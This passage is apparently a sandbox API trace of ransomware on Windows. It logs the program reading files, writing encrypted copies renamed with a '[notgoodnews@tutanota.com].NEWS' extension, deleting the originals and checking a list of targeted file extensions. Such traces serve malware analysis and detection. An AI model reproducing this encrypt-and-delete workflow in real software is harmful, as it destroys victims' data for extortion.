dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.974] SetEndOfFile (hFile=0x33c) returned 1 [0063.975] CloseHandle (hObject=0x33c) returned 1 [0063.976] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0063.976] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 1 [0063.976] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0063.976] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0063.976] lstrlenW (lpString=".doc") returned 4 [0063.976] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.976] lstrlenW (lpString=".docx") returned 5 [0063.976] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0063.976] lstrlenW (lpString=".pdf") returned 4 [0063.976] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.976] lstrlenW (lpString=".xls") returned 4 [0063.976] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.976] lstrlenW (lpString=".xlsx") returned 5 [0063.976] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0063.976] lstrlenW (lpString=".ppt") returned 4 [0063.976] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.976] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0063.977] lstrlenW (lpString=".zip") returned 4 [0063.977] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.977] lstrlenW (lpString=".rar") returned 4 [0063.977] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.977] lstrlenW (lpString=".bz2") returned 4 [0063.977] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.977] lstrlenW (lpString=".7z") returned 3 [0063.977] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.977] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0063.977] lstrlenW (lpString=".dbf") returned 4 [0063.977] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.977] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0063.977] lstrlenW (lpString=".1cd") returned 4 [0063.977] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.977] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0063.977] lstrlenW (lpString=".jpg") returned 4 [0063.977] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.977] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0063.977] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0063.977] lstrlenW (lpString=".doc") returned 4 [0063.977] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.977] lstrlenW (lpString=".docx") returned 5 [0063.977] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0063.977] lstrlenW (lpString=".pdf") returned 4 [0063.977] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.977] lstrlenW (lpString=".xls") returned 4 [0063.977] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.977] lstrlenW (lpString=".xlsx") returned 5 [0063.978] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0063.978] lstrlenW (lpString=".ppt") returned 4 [0063.978] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.978] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0063.978] lstrlenW (lpString=".zip") returned 4 [0063.978] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.978] lstrlenW (lpString=".rar") returned 4 [0063.978] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.978] lstrlenW (lpString=".bz2") returned 4 [0063.978] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.978] lstrlenW (lpString=".7z") returned 3 [0063.978] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.978] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0063.978] lstrlenW (lpString=".dbf") returned 4 [0063.978] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.978] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0063.978] lstrlenW (lpString=".1cd") returned 4 [0063.978] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.978] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0063.978] lstrlenW (lpString=".jpg") returned 4 [0063.978] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.978] lstrcmpiW (lpString1=".rtf", lpString2=".NEWS") returned 1 [0063.978] lstrlenW (lpString="eula.rtf") returned 8 [0063.978] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0063.979] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=3643) returned 1 [0063.979] CloseHandle (hObject=0x33c) returned 1 [0063.979] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 0x80 [0063.979] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.979] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0063.980] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.980] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.980] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0063.981] GetLastError () returned 0x0 [0063.981] ReadFile (in: hFile=0x33c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xe3b, lpOverlapped=0x0) returned 1 [0063.983] WriteFile (in: hFile=0x340, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xe40, lpOverlapped=0x0) returned 1 [0063.984] ReadFile (in: hFile=0x33c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0063.984] WriteFile (in: hFile=0x340, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xe4, lpOverlapped=0x0) returned 1 [0063.984] SetEndOfFile (hFile=0x340) returned 1 [0063.984] CloseHandle (hObject=0x340) returned 1 [0063.985] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.985] SetEndOfFile (hFile=0x33c) returned 1 [0063.986] CloseHandle (hObject=0x33c) returned 1 [0063.986] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0063.986] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 1 [0063.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0063.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0063.986] lstrlenW (lpString=".doc") returned 4 [0063.986] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0063.986] lstrlenW (lpString=".docx") returned 5 [0063.986] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0063.986] lstrlenW (lpString=".pdf") returned 4 [0063.986] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0063.986] lstrlenW (lpString=".xls") returned 4 [0063.986] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0063.986] lstrlenW (lpString=".xlsx") returned 5 [0063.986] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0063.986] lstrlenW (lpString=".ppt") returned 4 [0063.987] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0063.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0063.987] lstrlenW (lpString=".zip") returned 4 [0063.987] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0063.987] lstrlenW (lpString=".rar") returned 4 [0063.987] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0063.987] lstrlenW (lpString=".bz2") returned 4 [0063.987] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0063.987] lstrlenW (lpString=".7z") returned 3 [0063.987] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0063.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0063.987] lstrlenW (lpString=".dbf") returned 4 [0063.987] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0063.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0063.987] lstrlenW (lpString=".1cd") returned 4 [0063.987] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0063.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0063.987] lstrlenW (lpString=".jpg") returned 4 [0063.987] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0063.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0063.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0063.987] lstrlenW (lpString=".doc") returned 4 [0063.987] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0063.987] lstrlenW (lpString=".docx") returned 5 [0063.987] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0063.987] lstrlenW (lpString=".pdf") returned 4 [0063.987] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0063.987] lstrlenW (lpString=".xls") returned 4 [0063.987] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0063.987] lstrlenW (lpString=".xlsx") returned 5 [0063.987] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0063.987] lstrlenW (lpString=".ppt") returned 4 [0063.987] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0063.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0063.987] lstrlenW (lpString=".zip") returned 4 [0063.988] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0063.988] lstrlenW (lpString=".rar") returned 4 [0063.988] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0063.988] lstrlenW (lpString=".bz2") returned 4 [0063.988] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0063.988] lstrlenW (lpString=".7z") returned 3 [0063.988] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0063.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0063.988] lstrlenW (lpString=".dbf") returned 4 [0063.988] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0063.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0063.988] lstrlenW (lpString=".1cd") returned 4 [0063.988] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0063.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0063.988] lstrlenW (lpString=".jpg") returned 4 [0063.988] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0063.988] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0063.988] lstrlenW (lpString="LocalizedData.xml") returned 17 [0063.988] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0063.988] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=80060) returned 1 [0063.988] CloseHandle (hObject=0x33c) returned 1 [0063.990] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 0x80 [0063.990] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.990] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0063.990] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.990] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.990] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0063.990] GetLastError () returned 0x0 [0063.990] ReadFile (in: hFile=0x33c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x138bc, lpOverlapped=0x0) returned 1 [0063.993] WriteFile (in: hFile=0x340, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x138c0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x138c0, lpOverlapped=0x0) returned 1 [0063.995] ReadFile (in: hFile=0x33c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0063.995] WriteFile (in: hFile=0x340, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xf6, lpOverlapped=0x0) returned 1 [0063.995] SetEndOfFile (hFile=0x340) returned 1 [0063.996] CloseHandle (hObject=0x340) returned 1 [0063.998] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.998] SetEndOfFile (hFile=0x33c) returned 1 [0064.000] CloseHandle (hObject=0x33c) returned 1 [0064.000] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.000] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 1 [0064.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0064.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0064.000] lstrlenW (lpString=".doc") returned 4 [0064.001] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.001] lstrlenW (lpString=".docx") returned 5 [0064.001] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.001] lstrlenW (lpString=".pdf") returned 4 [0064.001] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.001] lstrlenW (lpString=".xls") returned 4 [0064.001] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.001] lstrlenW (lpString=".xlsx") returned 5 [0064.001] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.001] lstrlenW (lpString=".ppt") returned 4 [0064.001] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0064.001] lstrlenW (lpString=".zip") returned 4 [0064.001] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.001] lstrlenW (lpString=".rar") returned 4 [0064.001] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.001] lstrlenW (lpString=".bz2") returned 4 [0064.001] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.001] lstrlenW (lpString=".7z") returned 3 [0064.001] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0064.001] lstrlenW (lpString=".dbf") returned 4 [0064.001] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0064.001] lstrlenW (lpString=".1cd") returned 4 [0064.001] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0064.001] lstrlenW (lpString=".jpg") returned 4 [0064.001] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0064.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0064.002] lstrlenW (lpString=".doc") returned 4 [0064.002] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.002] lstrlenW (lpString=".docx") returned 5 [0064.002] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.002] lstrlenW (lpString=".pdf") returned 4 [0064.002] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.002] lstrlenW (lpString=".xls") returned 4 [0064.002] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.002] lstrlenW (lpString=".xlsx") returned 5 [0064.002] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.002] lstrlenW (lpString=".ppt") returned 4 [0064.002] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0064.002] lstrlenW (lpString=".zip") returned 4 [0064.002] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.002] lstrlenW (lpString=".rar") returned 4 [0064.002] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.002] lstrlenW (lpString=".bz2") returned 4 [0064.002] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.002] lstrlenW (lpString=".7z") returned 3 [0064.002] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0064.002] lstrlenW (lpString=".dbf") returned 4 [0064.002] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0064.003] lstrlenW (lpString=".1cd") returned 4 [0064.003] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0064.003] lstrlenW (lpString=".jpg") returned 4 [0064.003] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.003] lstrcmpiW (lpString1=".rtf", lpString2=".NEWS") returned 1 [0064.003] lstrlenW (lpString="eula.rtf") returned 8 [0064.003] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0064.003] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=10125) returned 1 [0064.003] CloseHandle (hObject=0x33c) returned 1 [0064.003] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 0x80 [0064.003] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.004] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0064.004] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.004] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.004] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0064.212] GetLastError () returned 0x0 [0064.212] ReadFile (in: hFile=0x33c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x278d, lpOverlapped=0x0) returned 1 [0064.214] WriteFile (in: hFile=0x2c4, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x2790, lpOverlapped=0x0) returned 1 [0064.215] ReadFile (in: hFile=0x33c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0064.215] WriteFile (in: hFile=0x2c4, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xe4, lpOverlapped=0x0) returned 1 [0064.215] SetEndOfFile (hFile=0x2c4) returned 1 [0064.215] CloseHandle (hObject=0x2c4) returned 1 [0064.216] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.216] SetEndOfFile (hFile=0x33c) returned 1 [0064.217] CloseHandle (hObject=0x33c) returned 1 [0064.217] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.218] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 1 [0064.218] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0064.218] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0064.218] lstrlenW (lpString=".doc") returned 4 [0064.218] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.218] lstrlenW (lpString=".docx") returned 5 [0064.218] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0064.218] lstrlenW (lpString=".pdf") returned 4 [0064.218] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.218] lstrlenW (lpString=".xls") returned 4 [0064.218] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0064.218] lstrlenW (lpString=".xlsx") returned 5 [0064.218] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0064.218] lstrlenW (lpString=".ppt") returned 4 [0064.218] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.218] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0064.218] lstrlenW (lpString=".zip") returned 4 [0064.218] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0064.218] lstrlenW (lpString=".rar") returned 4 [0064.218] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.218] lstrlenW (lpString=".bz2") returned 4 [0064.218] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.218] lstrlenW (lpString=".7z") returned 3 [0064.218] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.218] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0064.218] lstrlenW (lpString=".dbf") returned 4 [0064.218] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.218] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0064.219] lstrlenW (lpString=".1cd") returned 4 [0064.219] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0064.219] lstrlenW (lpString=".jpg") returned 4 [0064.219] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.219] lstrlenW 